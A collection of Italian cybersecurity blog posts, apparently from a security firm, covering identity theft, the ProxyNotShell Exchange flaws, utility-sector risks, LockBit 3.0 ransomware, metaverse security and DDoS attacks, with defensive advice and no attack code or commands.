In genere le informazioni più richieste dai cyber criminali riguardano:

I dati anagrafici che permettono di identificare un utente;
I dati bancari che permettono di ottenere l’accesso a conti e carte di credito;
Le credenziali di accesso, cioè nome utente e password, che vengono usate per accedere a diversi servizi.

In Lombardia

La situazione è in grave discesa poiché, se nel 2021 i numeri relativi a furti d’identità, solo in Lombardia, risultavano 2800, dall’inizio del nuovo anno ad oggi sono già stati registrati 3300 casi.

Una media di quasi nove casi al giorno, che vede Milano l’area con più attacchi messi a segno, seguita da Brescia, Bergamo e Varese.

Se si parla di numeri, va sottolineato che sono cresciuti sensibilmente i furti sotto i 1500 euro, con circa il 52% rispetto all’anno precedente. I maxi-furti (tra 5 e 10 mila euro), inoltre, sono passati dal 9.6% al 14%.

Nel 34% dei casi, il furto di dati si conclude con l’attivazione di un prestito finanziario, anche se sono cresciute del 59% anche le frodi sulle carte di credito.

(I dati sopra riportati fanno riferimento alle ricerche “Osservatorio sulle Frodi Creditizie e furti d’identità” da CRIF-Mister Credit)

È possibile evitare il furto d’identità?

Vogliamo sottolineare che un attacco informatico che può portare al furto d’identità digitale non è un evento totalmente evitabile. Esistono però alcune azioni che possono aiutarci a prevenirlo:

Password sicure: non utilizzare le stesse password per più account e creare delle password con almeno 12 caratteri che contengano maiuscole, minuscole, numeri e caratteri speciali.
Attenzione alla ricezione di mail o SMS che possono essere campagne phishing: se una mail o un SMS ci sembrano sospetti, meglio controllare direttamente dal sito ufficiale dell’azienda impersonata per verificare se si tratta di phishing oppure no.
Attenzione quando si inseriscono i propri dati sensibili: inserire i propri dati solamente su siti che riteniamo affidabili e accedendo direttamente dal sito ufficiale.
Utilizzare una VPN: cioè una connessione in cui viene creata una rete privata che garantisce privacy, anonimato e sicurezza dei dati attraverso un canale di comunicazione.

Nel grafico sottostante è possibile vedere quali sono i maggiori tipi di furto d’identità: circa il 32%, cioè la fetta più grande, riguarda la frode delle carte di credito, ma è sicuramente da non sottovalutare anche il 14.4% collegato alle frodi finanziarie.

Fonte: Nordvpn

Essendo un fenomeno sempre più diffuso, il Dipartimento della giustizia degli Stati Uniti ha pubblicato un documento in cui analizza il fenomeno.

Guardando oltre oceano, secondo il report, le perdite finanziarie dovute al furto d’identità hanno superato i 15 milioni di dollari; il 7% delle vittime ha denunciato il furto alla polizia, mentre l’88% ha preso contatto con la banca solo una volta venuto a conoscenza del furto.

Il furto d’identità digitale e il nostro sistema legale

Il furto di identità digitale è un reato connotato da una grande zona d’ombra dovuta alla difficile identificabilità dell’utente che si appropria di dati non suoi. Questo tipo di reato sta dando vita ad una vera e propria emergenza sociale a causa delle conseguenze non prevedibili che possono essere innescate da un’avvenuta sostituzione di persona.

Il problema nasce dal fatto che un controllo sull’identità reale di chi compie determinate azioni dietro ad un monitor (iscriversi ad un social network, utilizzare dati per compiere azioni finanziarie etc.) non esiste.

Dal canto suo, la giurisprudenza, nell’adeguarsi al cambiamento sociale, ha riscontrato e riscontra considerevoli difficoltà procedurali nel mantenersi al passo con la realtà e con l’evoluzione delle tecniche di un mondo così fluido come è quello digitale.

Basti pensare che ad oggi risulta ancora difficile far rientrare il phishing nel reato di sostituzione di persona per diversi motivi:

Nella maggior parte dei casi il mittente non si sostituisce a una persona fisica, ma ad una giuridica (banca, poste…) e quindi tecnicamente non sussiste la sostituzione all’altrui “persona”
Talvolta non c’è un’attribuzione di “falso nome”, ma l’utilizzo delle credenziali di accesso (username e password) di qualcun altro, che è una condotta ben diversa
È difficilmente configurabile anche “l’induzione in errore” da parte dell’autore, perché l’accredito delle somme o l’acquisizione delle credenziali avvengono attraverso sistemi automatizzati o l’installazione di software spia.

Il fatto che sia difficile identificare in prima battuta gli autori di questi reati, fa sì che sia ancora più difficile dimostrare che non siamo stati noi a compiere determinate azioni.

La denuncia per disconoscere i documenti su cui si fondano queste evidenze non presenta un iter semplice.

Si tratta quindi di reati che vengono sì ricondotti ad altri reati esistenti, ma con ancora una difficoltà e un disaccordo da parte della dottrina su diversi punti.

Perché, però, è concretamente difficile procedere?

Ad esempio, se anche in astratto sono abbastanza chiari i requisiti della “prova” che bisogna dare per dimostrare il furto, in realtà avere tempestività e correttezza per ottenere la “digital evidence” (prove del furto, ma anche delle prime evidenze da allegare alla denuncia) è tutto meno che facile.

Se non si riesce, per esempio, a risalire all’IP di un profilo falso o comunque a ricollegarsi alla persona fisica che si trova dietro al profilo, non si può ricondurre il reato all’autore e quindi, secondo la Corte di Cassazione, gli eventuali indizi non sono sufficienti per dichiarare che il reato sussiste.

Non è tutto: spesso per ottenere l’IP dell’autore del reato occorre la collaborazione internazionale del provider che non solo non è scontata, ma dato il vuoto normativo esistente, non è nemmeno esigibile.

Esiste tra l’altro un problema di rapporti tra norme diverse: ciò che è un reato per un paese UE può non esserlo per un paese extra-UE, come nel caso della diffamazione. Non ci sono organismi transnazionali di natura regolatoria; manca la tempestività dell’intervento per evitare la viralità del contenuto.

Denunciare un furto d’identità

Nel caso fossi vittima di furto d’identità, il corpo istituito e a cui fare affidamento è la Polizia Postale. Tra le forze dell’ordine, è la più adatta per la persecuzione dei reati relativi al web ed al digitale. Il furto d’identità è sempre un reato, per questo il consiglio è quello di denunciare simili attività direttamente tramite il form che si trova sul sito ufficiale

Nuove vulnerabilità di Microsoft Exchange

Simone Errico — Thu, 06 Oct 2022 14:16:01 +0000

Il 30 settembre Microsoft ha comunicato la presenza di due vulnerabilità nei server Microsoft Exchange, utilizzate per la messa in atto di attacchi malevoli. Queste falle sono state precedentemente sfruttate a partire dalla fine di agosto.

La prima società ad aver identificato e segnalato le falle è stata GTSC, società vietnamita che si occupa di sicurezza informatica. Le vulnerabilità nello specifico sono :

CVE-2022-41040, una vulnerabilità di tipo Server-Side Request Forgery (SSRF)
CVE-2022-41082, una vulnerabilità di tipo Remote Code Execution (RCE).

La concatenazione di queste due vulnerabilità permette di eseguire codice arbitrario su un server Exchange avendo a disposizione le credenziali di qualsiasi utente. Le richieste web di cui si compone questo attacco sono nello stesso formato di quelle relative alla famigerata vulnerabilità ProxyShell: da qui il nome ProxyNotShell.

Le somiglianze con la precedente 0-day ProxyShell ci sono: la request-string è infatti la stessa in entrambi i casi. La principale differenza è che, mentre ProxyShell non richiede autenticazione, per sfruttare ProxyNotShell sono necessarie credenziali, anche non amministrative. La Multi Factor Authentication non è in questo caso rilevante.

La stessa GTSC ha teorizzato che gli attacchi iniziati ad agosto potessero provenire da un gruppo di cyber criminali cinesi, a causa della codifica della web shell in cinese semplificato. Negli attacchi è stata utilizzata anche la shell web China Chopper, una backdoor che dà agli aggressori la possibilità di riconnettersi in qualsiasi momento a una macchina compromessa, in modo da sfruttarla anche in un secondo momento.

Queste vulnerabilità riguardano i server Exchange in loco e non quelli in hosting gestiti da Microsoft; tuttavia, molti utenti utilizzano soluzioni combinate, con hardware in sede e in cloud, e per questo gli ambienti ibridi sono tanto vulnerabili quanto i server dislocati in loco.

Stima dei server vulnerabili

Secondo le stime, i server vulnerabili arriverebbero a quasi 250mila.

Nella foto sottostante possiamo notare la suddivisione per regione:

Fonte: Shodan

Tra i 10 paesi più a rischio troviamo anche l’Italia con poco meno di 10.000 server.

Azioni di mitigazione

Microsoft, per aiutare a fermare temporaneamente l’attacco, ha condiviso delle azioni di mitigazione da mettere in pratica.

Fonte: Microsoft

A queste azioni di mitigazione, probabilmente, si susseguiranno aggiornamenti per le prossime settimane. Ad oggi, infatti, non è disponibile ancora nessuna patch.

Se dovessi rilevare una compromissione nel sistema e desiderassi il nostro supporto, puoi mandarci una mail a sos@cybergon.com con i dettagli della richiesta.

Utility e Cyber Security: i rischi del settore

Ilaria Martinelli — Thu, 29 Sep 2022 14:16:01 +0000

Le ultime settimane hanno registrato diversi attacchi ad aziende operanti nel settore utility, settore da sempre considerato di grande interesse se volgiamo lo sguardo anche oltreoceano.

Cerchiamo quindi di capire quali sono i rischi a cui le aziende operanti sono esposte e come queste ultime possono cercare di proteggere le proprie infrastrutture.

Attacchi al settore

Il settore delle utility, e in particolare quello energetico, si è classificato al quarto posto tra quelli più colpiti nel 2021, con l’8,2% di tutti gli attacchi osservati, al quarto posto dopo l’industria manifatturiera, il settore finanziario e quello dei servizi professionali. (Secondo un’analisi di X-Force Threat Intelligence Index 2022)

Parlando di attacchi al settore, non si può non citare quello all’oleodotto di Colonial Pipeline, negli Stati Uniti, che colpì in modo silenzioso le infrastrutture dell’azienda petrolifera, bloccando circa 8.850 chilometri di condutture che garantivano quasi metà degli approvvigionamenti di carburante della East Coast e paralizzando forniture di circa 2.5 milioni di barili al giorno di prodotti petroliferi. Ad oggi, si tratta di uno degli attacchi più gravi mai registrati.

Quanto successo negli Stati Uniti non può considerarsi un caso isolato, poiché sia in America che in Europa sono state tante le aziende colpite, partendo dalla greca DESFA, passando per la lussemburghese Creos e concludendo anche con i recenti attacchi ad aziende italiane.

Questo trend sta aumentando sempre di più anche in seguito al conflitto russo-ucraino e alla cyber war che ne è scaturita conseguentemente.

A livello globale le previsioni di spesa in temi di sicurezza informatica proprio nel settore delle utilities sono comunque in crescita: secondo i risultati di “The State of Cyber & Digital Security”, la spesa globale delle aziende operanti nell’industria e proprietarie di infrastrutture critiche raggiungerà i 23 miliardi di dollari entro la fine del 2022, per superare i 36 miliardi di dollari nel 2027.

Un altro elemento che salta all’occhio riguarda la percezione degli addetti ai lavori riguardo al tema: chi ha subito una violazione è maggiormente propenso ad investire in sicurezza informatica e a prendere decisioni più consapevoli, priorizzando gli investimenti verso servizi altamente qualificati.

Fonte: DNV – The Cyber Priority

In Italia la situazione non si discosta di molto dal resto del mondo. Solo per il settore utility, infatti, gli attacchi registrati sono tra il 5% e il 7% dei totali. Inoltre, le prime 100 utility italiane, negli ultimi tre anni, hanno registrato più di 250 minacce informatiche di entità medio-grave.

Le tipologie di attacco sono principalmente due: quelle che hanno il solo obiettivo di estorcere denaro e quelle che sono volte a disinformare o bloccare le forniture energetiche per motivi di natura politica.

Il settore sta quindi facendo fronte alle crescenti minacce investendo molto in tema di digitalizzazione, in particolare nelle capacità di affrontare ed identificare i punti in cui i loro progetti e le loro operazioni sono esposti alle minacce informatiche, prima che queste vengano scoperte dai cyber criminali. La consapevolezza, però, non procede di pari passo ad un’adeguata strategia di difesa o prevenzione. Il 60% dei manager sono consapevoli che la loro organizzazione risulta vulnerabile, ma solo il 40% prevede di apportare miglioramenti urgenti nei prossimi anni.

Best practice

Esistono alcune best practice per cercare di mitigare il rischio di un attacco informatico e, più nello specifico, l’impatto che questo può avere per il business. Nel caso del settore utility, vanno considerati anche gli eventuali impatti sugli utenti finali, nel caso in cui venissero privati di alcuni servizi ormai ritenuti essenziali per periodi più o meno lunghi, a seconda della gravità dell’attacco.

Alcuni degli aspetti più importanti che vanno considerati nell’implementazione di una strategia security-oriented riguardano quindi :

l’integrazione di piani di investimenti dedicati all’ambito security all’interno della progettazione dei processi
la continua creazione di consapevolezza sui rischi e sulle minacce informatiche tra i dipendenti (in un nostro articolo approfondiamo il tema)
la creazione di modelli di gestione in caso di incident ed emergenze

In Europa si è deciso di investire più decisamente in ambito cyber security in alcuni settori critici, tra cui rientra anche quello delle utility; la Commissione Europea ha così introdotto delle norme sulla sicurezza informatica dei sistemi di rete e di informazione, denominate Direttive NIS 2, ampliando l’ambito di applicazione della Direttiva NIS, in modo da implementare una procedura che fosse uguale per tutti gli stati membri.

L’obiettivo è quello di lavorare su due fronti: da un lato continuare a monitorare il trend degli attacchi da un punto di vista tecnico, dall’altro agire con strumenti di soft law, normative e direttive per allontanare il pericolo di subire le conseguenze disastrose nel caso in cui si subisca un attacco. Questa seconda strategia, in particolare, tenta di normare quelle situazioni in cui è ancora difficile definire il cyber-spazio che, per sua definizione, non ha confini ben chiari.

In conclusione

Nel 2019 le spese per la sicurezza informatica sono state il 15% degli investimenti sui sistemi operativi e, al contrario di quello che ci si potrebbe aspettare, non c’è correlazione tra dimensione aziendale e percentuale degli investimenti destinati alla cyber security. Tuttavia, la correlazione esiste, ed è parecchio robusta, tra il livello di cyber security e gli attacchi subiti: più le aziende hanno subito minacce o attacchi, maggiore è avvertita la necessità di investire su questi temi.

Il raggiungimento di uno stato di maturità inerente questo settore è “work in progress”, anche perché il mondo della sicurezza informatica è esso stesso in continuo cambiamento.

Quali sono quindi i consigli che possiamo dare?

Allocare all’interno del proprio budget una parte da dedicare alla sicurezza informatica che corrisponda al reale bisogno aziendale, senza compromessi
Determinare i propri punti di debolezza e cercare di investire per poterli risolvere o quantomeno mitigare
Investire non solo in nuove tecnologie, ma anche in formazione

LockBit: la nuova versione 3.0

Domenico Orlando — Thu, 28 Jul 2022 14:16:01 +0000

Fino a qualche anno fa, quando si parlava di attacco informatico si faceva riferimento al singolo che operava individualmente; con gli anni però la situazione è cambiata: sono iniziate a nascere delle vere e proprie organizzazioni criminali che si sono poi specializzate in diverse tipologie di crimine informatico.

L’obiettivo comune a tutti i gruppi criminali rimane comunque l’esfiltrazione di dati e la richiesta di riscatto, per il mero guadagno economico.

Queste organizzazioni, con il passare degli anni, sono diventate sempre più strutturate e ramificate.

Chi è LockBit e come agisce

Una tra le più famose cyber gang è LockBit, menzionata ultimatamente per svariate violazioni ad aziende italiane, sia private che pubbliche. Il gruppo ha infettato migliaia di dispositivi, tanto da affermarsi come cyber gang d’élite nelle comunità underground.

Negli anni si è evoluta, passando da LockBit a LockBit 3.0 per via delle “migliorie” messo in campo. Prima di raccontare quali sono le novità di LockBit 3.0 facciamo però un veloce excursus sul gruppo criminale. LockBit è il nome del ransomware nato a settembre 2019 che ha come obiettivo quello di compromettere le reti delle vittime, rendendo indisponibili file e documenti presenti nei dispositivi colpiti.

LockBit è anche il nome del gruppo criminale che è diventato famoso, oltre che per sfruttare l’omonimo ransomware, soprattutto per operare in modalità Ransomware as a Service (RaaS), un vero e proprio modello di business che si basa sull’affiliazione, il cui fine è quello dell’estorsione.

I creatori di LockBit “affittano” il ransomware a gruppi affiliati che quindi possono utilizzarlo per compiere i loro attacchi, generando in maniera autonoma anche nuove varianti, selezionando e gestendo le vittime, trattando i riscatti, ottenendo le statistiche e decifrando i file.

Negli anni il metodo di attacco si è affinato tanto da diventare uno dei gruppi criminali più temuti. In particolare, l’attacco avviene più o meno con le stesse modalità:

Selezione vittima
Intrusione
Esfiltrazione
Esecuzione
Trattativa

LockBit 3.0: le novità

Nelle ultime settimane si è sentito spesso parlare di LockBit nella sua nuova versione 3.0. Quali sono quindi le novità?

In primis la possibilità da parte di chiunque di segnalare eventuali vulnerabilità del ransomware in cambio di un compenso monetario; si parla di un vero e proprio programma “bug bounty”, cioè di riconoscimenti e ricompense per la segnalazione di bug. In questo modo gli sviluppatori hanno la possibilità di risolvere eventuali falle prima che diventino di dominio pubblico.

Inoltre, la vittima ora può pagare per estendere il countdown per la pubblicazione dei dati, per distruggere le informazioni esfiltrate o per ottenere l’accesso al download esclusivo dei dati in qualsiasi momento.

Infine, cambia anche il metodo di estorsione: la cyber gang infatti mette anche a disposizione la possibilità di pagare i riscatti in criptovaluta Zcash che garantisce privacy e anonimato, rendendo ancora più complesso il tracciamento del pagamento anche rispetto ai Bitcoin.

Come funziona il ransomware

L’intrusione all’interno della rete avviene in maniera variabile a seconda del sistema attaccato. I principali metodi risultano essere:

Campagne phishing
Bruteforce su credenziali RDP o VPN
Vulnerabilità critiche
Credenziali acquistate/insiders

Una volta ottenuto l’accesso alla rete, LockBit è in grado di propagarsi automaticamente ed attivarsi sfruttando le Group Policy e gli strumenti di red teaming, come Cobalt Strike.

Una delle peculiarità del ransomware è l’efficienza di crittografia: infatti LockBit è in grado di bloccare l’intera rete in pochi minuti, sfruttando il malware StealBit sia per il blocco che per l’esfiltrazione dei dati.

I file vengono criptati in AES sfruttando la funzione BCryptGenRandom per la sua chiave, la quale viene successivamente criptata in RSA.

Il gruppo LockBit, soprattutto con la sua nuova versione, è riuscito a raccogliere informazioni ed imparare dai competitors, implementando al suo interno diverse tecniche già viste in altri ransomware:

È in grado di visualizzare le stampanti presenti nella rete (sfruttando l’API WinSpool) e stampare le richieste di riscatto, ispirandosi al ransomware Egregor;
È in grado di verificare se le unità di rete sono pronte e attive per l’esecuzione del ransomware, inviando pacchetti Wake-on-LAN, ispirandosi al ransomware Ryuk;
La sua esecuzione è protetta da password, come già visto nel popolare ransomware BlackCat;
Gran parte dei payload sono file Windows PE, elemento caratteristico dei ransomware della famiglia BlackMatter.

Andando più nello specifico, la nuova versione di LockBit, oltre al bug bounty program e al nuovo blog, è anche caratterizzato da una grossa evoluzione nelle tecniche evasive: inizialmente il malware risiede nella heap memory e utilizza salti indiretti per eseguire le funzioni, tuttavia gli indirizzi dei salti vengono offuscati tramite una particolare tecnica basata sull’operatore XOR.

Inoltre, sono state implementate diverse tecniche di rilevazione di debugger.

L’ultima versione è inoltre in grado di agire anche su sistemi Linux, ampliando il numero di target in pericolo.

Fonte: TrendMicro

Come difendersi

Come per tutti gli attacchi ransomware ci sono alcuni accorgimenti che è possibile mettere in pratica per evitare, o almeno mitigare, i danni che un attacco simile può provocare:

Utilizzare password complesse e cambiarle spesso
Impostare l’autenticazione a più fattori
Mantenere aggiornati i sistemi operativi

LockBit, così come gran parte dei gruppi criminali, chiede il pagamento del riscatto per evitare che i dati esfiltrati vengano pubblicati e/o rivenduti. Questa pratica è caldamente sconsigliata perché non solo alimenta un gruppo criminale, ma soprattutto non è garanzia né di esclusività della vendita dei dati nel dark web né di immunità dell’azienda da attacchi futuri.

Inoltre, pagando il riscatto si finanziano ulteriormente le operazioni delle cyber gang che sono incoraggiate a prendere di mira nuove vittime.

Nel caso in cui anche queste accortezze non fossero servite ad evitare l’attacco, è sempre consigliato affidarsi a degli specialisti del settore.

Per qualsiasi chiarimento o in caso di attacco puoi contattarci a sos@cybergon.com, il nostro team opera in modalità ²⁴⁄₇.

La sicurezza informatica nel metaverso

Ilaria Martinelli — Mon, 04 Jul 2022 14:16:01 +0000

“The metaverse is here, and it’s not only transforming how we see the world but how we participate in it – from the factory floor to the meeting room.” Satya Nadella

Metaverso o anche mondo virtuale è un concetto coniato da Neal Stephenson nel libro “Snow Crash” (1992), nato dall’unione dei termini “meta” (dentro) e “verso” (universo), in cui l’autore descrive questo mondo come una sorta di realtà virtuale condivisa tramite internet.

Il metaverso è quindi un universo digitale, frutto di elementi quali la realtà aumentata e la realtà virtuale, in continua evoluzione grazie ai contributi di chi condivide questa esperienza, e tramite cui gli utenti accedono con un visore e vivono delle vere e proprie esperienze virtuali totalmente immersive.

Secondo un report di Accenture, il 71% delle imprese ha affermato che il metaverso avrà sicuramente un impatto positivo per il loro business; di queste, il 28% parla di vera e propria rivoluzione.

Basti pensare che nel metaverso “vivono” già 350 milioni di persone, ed esistono circa 43 mondi digitali. In Italia siamo ancora in una fase inziale, anche se le aziende più innovative stanno già cercando di relazionarsi con i consumatori sperimentandone l’utilizzo.

Rischi nel metaverso

Nonostante questo mondo attiri l’attenzione di molti utenti, esistono alcuni pericoli che possono nascere in questo contesto e che, in particolare, riguardano:

Il furto di informazioni: la condivisione di informazioni sensibili, anche in modo inconsapevole, porta i cyber criminali a sentirsi al sicuro nel rubare questo genere di dati, mettendo a rischio le proprietà virtuali e non degli utenti anche nella vita reale;
La personificazione: la reperibilità delle informazioni sensibili online permette ai cyber criminali di impersonare terze parti e ottenere informazioni personali con l’inganno;
Il furto d’identità: nel caso di furto d’identità, il cyber criminale sarebbe libero di compiere diverse azioni per conto della vittima che ne risponderebbe nella vita ”fisica”.

Se da un lato già esistono rischi per gli utenti privati, dall’altro inizieranno a nascere anche per quelle aziende che vogliono esplorare nuove strategie digitali, per questo motivo è importante cercare di limitare sin dall’inizio le possibili vulnerabilità.

Esistono alcuni settori che si prestano in particolar modo all’esplorazione del metaverso, poiché permettono la scoperta di ambienti virtuali ai propri consumatori per far vivere esperienze diverse ed uniche:

Media ed intrattenimento: eventi, concerti e celebrazioni virtuali sono solo alcune delle esperienze già organizzate in ambienti come Minecraft. Il metaverso può essere una realtà estremamente interessante per molti organizzatori di eventi, poiché permetterebbe di connettere individui in situazioni in cui gli eventi di persona nonsono possibili. Garantirebbe inoltre accesso a delle esperienze uniche, come la partecipazione a partite di basketball o football viste da bordo campo.
Settore fashion ed e-commerce: l’utilizzo di questi strumenti può permettere a clienti dall’altra parte del mondo di navigare e fare acquisti in versione digitale, come se fossero effettivamente nel negozio. È il caso di Burberry che ha collaborato con Elle Digital in Giappone per ricreare una versione virtuale del negozio situato a Ginza, con l’obiettivo di superare i limiti fisici e creare una nuova esperienza digitale accessibile a tutti. I clienti da tutto il mondo hanno avuto la possibilità di “entrare” nel negozio e fare acquisti comodamente da casa.

Questi sono solo alcuni degli esempi dei settori maggiormente coinvolti nel metaverso nell’attuale momento storico.

Metaverso e sicurezza informatica

Nel metaverso, così come nel mondo fisico, bisogna però confrontarsi con un problema sempre più comune: la sicurezza informatica.

Furti di identità (o di avatar) o deepfake, ossia figure digitali manipolate per sembrare qualcun altro, sono solo alcuni dei problemi che potranno riscontrarsi.

A livello aziendale, in questo universo parallelo sarà quindi fondamentale essere in grado di proteggere il proprio perimetro e garantire un adeguato livello di controllo degli accessi, considerato come la prima forma di difesa dai pericoli di questa nuova dimensione digitale.

Il metaverso poi si presta anche per quella categoria di attacchi anche nota come Man in the Room, ossia l’evoluzione di Man in the Middle. Questo tipo di attacco consiste nella creazione di avatar malevoli che si inseriscono in conversazioni e riunioni virtuali con il fine ultimo di esfiltrare informazioni personali; in questo caso il problema riguarda anche il futuro utilizzo di questi dati per attacchi ben più complessi e sofisticati.

Inoltre, è il terreno perfetto per la creazione di future campagne phishing che potrebbero raggiungere livelli mai visti prima: il coinvolgimento e l’aumento dell’interattività tra partecipanti può far diminuire il livello di guardia degli utenti, permettendo così ai cyber criminali di operare indisturbati.

Considerato questo aspetto, per le aziende sarà fondamentale abbracciare un approccio umano-centrico, insistendo su temi quali l’alfabetizzazione digitale e la pianificazione di corsi di awareness, cioè formazione dei propri dipendenti per insegnare loro a riconoscere gli elementi comuni delle campagne phishing e truffe, valutando ogni caso in maniera critica ed indipendente. La prevenzione risulta essere il modo migliore per le persone e le organizzazioni di rimanere al sicuro, in generale su internet ed in particolar modo nel metaverso.

Last but not least, il ransomware: minaccia informatica responsabile di perdite per decine di milioni di euro in tutto il mondo. Per questo, così come nel mondo reale, anche in quello del metaverso sarà fondamentale applicare protocolli di sicurezza ad hoc in modo da instaurare una relazione di fiducia da parte degli utenti nell’utilizzo del metaverso.

Monitorare la propria azienda e i relativi sistemi permetterà di rilevare ogni tentativo di accesso o infezione in tempo reale. Vi sono alcuni tool che possono essere utilizzati dalle aziende per riconoscere eventuali anomalie tra gli accessi dei dipendenti, uno di questi è l’Active Directory Audit (AD Audit): una soluzione per il controllo delle password delle diverse utenze dei propri dipendenti, in un unico repository. Il cliente avrà così tutte le informazioni vitali sulle risorse della rete e la visibilità su quelle maggiormente critiche, così da poter controllare e, in caso di necessità, agire tempestivamente sulle utenze più a rischio.

A fronte di questi riscontri vengono consigliate poi alcune azioni di remediation o mitigation, come il cambio di policy di dominio o la revisione dei permessi.

Infine, considerando come le tecnologie siano in continua evoluzione, per far si che la propria azienda sia al sicuro bisognerà investire in sicurezza informatica e in tutte quelle nuove tecnologie e nuovi strumenti che permettono una protezione da attacchi informatici di ogni genere. La sicurezza fai da te non è più contemplata, diventerà quindi fondamentale affidarsi ad esperti del settore.

Cosa sono gli attacchi DDoS e come proteggersi

Fabio Gallo — Mon, 06 Jun 2022 14:16:01 +0000

Il 20 maggio in Italia alcuni siti istituzionali quali quello del ministero dell’ambiente, del ministero degli esteri e del consiglio superiore di magistratura sono andati offline; dopo un’attenta analisi si è compreso che il down era dovuto ad attacchi DDoS.

Quindi, scopriamo cosa sono, come funzionano e come possiamo proteggerci.

DDoS è l’acronimo di Distributed Denial of Service, ovvero interruzione distribuita del servizio, ed è un tipo di attacco informatico in cui l’aggressore cerca di impedire agli utenti di accedere alle risorse presenti su una rete o sui computer. L’attacco è un’evoluzione del DoS (Denial of Service): quando parliamo di “distribuito”, infatti, ci riferiamo al fatto che questi attacchi provengono da più luoghi o più dispositivi contemporaneamente, al contrario di un attacco DoS che prevede una singola entità.

I DDoS, che sono aumentati negli ultimi anni in termini di numeri registrati, hanno come scopo principale la disruption del servizio; ultimamente, però, l’attacco può essere collegato anche al successivo esfiltraggio di dati. I criminali informatici cercano di far cadere il sito colpito e farlo diventare vulnerabile tramite l’invio di un elevato numero di richieste; alcune volte queste vulnerabilità vengono sfruttate per hackerare il sito ma, nella maggior parte dei casi, l’obiettivo primario è quello di impedirne il corretto funzionamento.

Un evento DDoS che registrò un impatto significativo fu l’attacco del 2013 conosciuto come “Spamhaus” che colpì l’omonima azienda.

Spamhaus è un’organizzazione internazionale che offre soluzioni e strumenti antispam, cioè compila gli elenchi dei filtri per bloccare i mittenti delle mail spam. Questo evento, che è rimasto nella cronaca perché è stato il primo ad aver portato alla luce gli effetti che possono avere gli attacchi DDoS, ha portato a rallentare la velocità del traffico web globale, sfruttando connessioni per un traffico totale superiore ai 300 gigabit al secondo, coinvolgendo diversi nodi dell’infrastruttura di Internet e mettendo a dura prova non solo i server di Spamhaus, ma anche diversi siti istituzionali, inclusi banche e altri siti.

Tipi di attacco

Vi è un’eterogeneità di attacchi DDoS che possono essere raggruppati in 3 macrocategorie:

Volumetrici

Sono gli attacchi maggiormente diffusi. L’intento è quello di rendere i server o le infrastrutture irraggiungibili, inondandoli di una quantità elevata di richieste, impedendo agli utenti legittimi di accedere a un’applicazione o servizio e arrestando il flusso in entrata o in uscita del traffico. La connessione di rete o le risorse risulteranno sature e non saranno più in grado di gestire il flusso di traffico né di rispondere alle richieste.

Fonte: Cloudflare

Ai protocolli

Gli attacchi ai protocolli, anche noti come “state-exhaustion attacks”, tentano di consumare ed esaurire la capacità di elaborazione di varie risorse dell’infrastruttura di una rete, come server o firewall, attraverso richieste di connessione dannose che sfruttano vulnerabilità dei protocolli di rete.

Fonte: Cloudflare

A livello di applicazione o Layer 7

Quest’ultima categoria di attacchi ha l’obiettivo di creare una congestione consumando tutta la larghezza di banda disponibile tra l’obiettivo che espone un applicativo e la rete internet. Grandi quantità di dati vengono inviate ad un soggetto utilizzando una forma di amplificazione o un altro mezzo per creare traffico massiccio. Per far sì che un attacco simile vada a buon fine vengono richieste quantità di risorse minime alla macchina target, così da poter passare inosservate ai firewall e sistemi di protezione generali.

Fonte: Cloudflare

Nella pratica, poi, ognuna di queste categorie di attacco può avere diversi metodi di applicazione.

Quali sono le best practice da mettere in pratica per contrastare questo genere di attacco?

In primis, consigliamo di visionare il sito del CSIRT (Computer Security Incident Response Team) in cui vengono spiegate le azioni di mitigazione da mettere in atto.

In particolare:

rifiutare le connessioni con metodi HTTP non supportati dall’URL;
limitare l’intestazione e il corpo del messaggio a una lunghezza minima ragionevole. Per URL specifici, impostare limiti più severi e appropriati per ogni risorsa che accetta un body del messaggio;
impostare un timeout di connessione assoluto, ove possibile, utilizzando le statistiche di connessione (ad es. un timeout leggermente maggiore della durata media delle connessioni dovrebbe soddisfare la maggior parte dei client legittimi);
utilizzare un backlog di connessioni in sospeso. Esso consente al server di mantenere le connessioni che non è pronto ad accettare, bloccando di conseguenza un attacco Slow HTTP più ampio, oltre a dare agli utenti legittimi la possibilità di essere serviti sotto carico elevato. Se il server supporta un backlog, si consiglia di renderlo ragionevolmente grande in modo che il proprio server web possa gestire un attacco di lieve entità;
definire la velocità minima dei dati in entrata e bloccare le connessioni che sono più lente della velocità impostata. Si evidenzia di fare attenzione a non impostare il valore minimo troppo basso per non bloccare le connessioni legittime;
attivare gli strumenti di protezione da questa tipologia di attacco disponibili tramite dispositivi di sicurezza quali Web Application Firewall e Next Generation Firewall L7.

Questo bollettino è stato elaborato dal nucleo per la sicurezza informatica in seguito ai recenti attacchi.

Considerando la costante evoluzione degli attacchi informatici, una protezione contro gli attacchi DDoS che adotti un approccio di difesa approfondita può tenere al sicuro l’utente finale. Un servizio di mitigazione degli attacchi DDoS individuerà e bloccherà gli attacchi nel momento in cui viene rilevato del traffico dannoso.

I provider di mitigazione degli attacchi DDoS filtrano questo traffico per evitare che venga raggiunto l’oggetto dell’attacco.

Quello che ci sentiamo di consigliare è di affidarsi ad un team di esperti nel caso in cui ci sia il timore di essere o di essere stati vittima di un attacco simile.

Impatto di un attacco DDoS sul business

Se il business di un’azienda si basasse anche sul funzionamento del sito sotto attacco, il suo non-funzionamento potrebbe impattare negativamente il business stesso. Nel 2018 gli attacchi DDoS sono aumentati del 40% nelle grandi organizzazioni con una media di 8 attacchi al giorno.

Ci sono diversi modi in cui un attacco DDoS può impattare sul business.

La prima riguarda la parte finanziaria: secondo un recente report di Gartner, il costo medio dei tempi di inattività della rete è di circa 5.600 dollari al minuto cioè circa 300.000 dollari all’ora. Inoltre, in media, nel 2019 il costo di un attacco DDoS per le imprese è arrivato a costare anche 2 milioni di dollari, mentre per le piccole e medie imprese (PMI) 120.000 dollari.

I trend della sicurezza informatica negli ultimi anni sono in costante aumento, per questo i dati a cui facciamo riferimento sono una stima al ribasso e continueranno a crescere in maniera consistente.

Per mitigare gli attacchi DDoS il 45% delle aziende impiega da 3 a più di 24 ore, si tratta quindi di perdite finanziarie significative.

Inoltre, le interruzioni delle sessioni di navigazione possono anche portare ad una perdita relativa alla reputazione del brand e alla fiducia dei clienti, con danni inquantificabili.

Questo genere di attacchi, come ultimamente constatato, viene utilizzato maggiormente per questioni ideologiche: gli hacktivisti, cyber criminali che sono mossi non tanto da motivi economici ma piuttosto da ragioni politico-sociali, infatti, tendono a prendere di mira determinati siti con cui non si trovano in accordo per motivi ideologici e/o politici.

Diventa dunque fondamentale adottare le misure preventive e le precauzioni adatte per evitare disservizi consistenti.

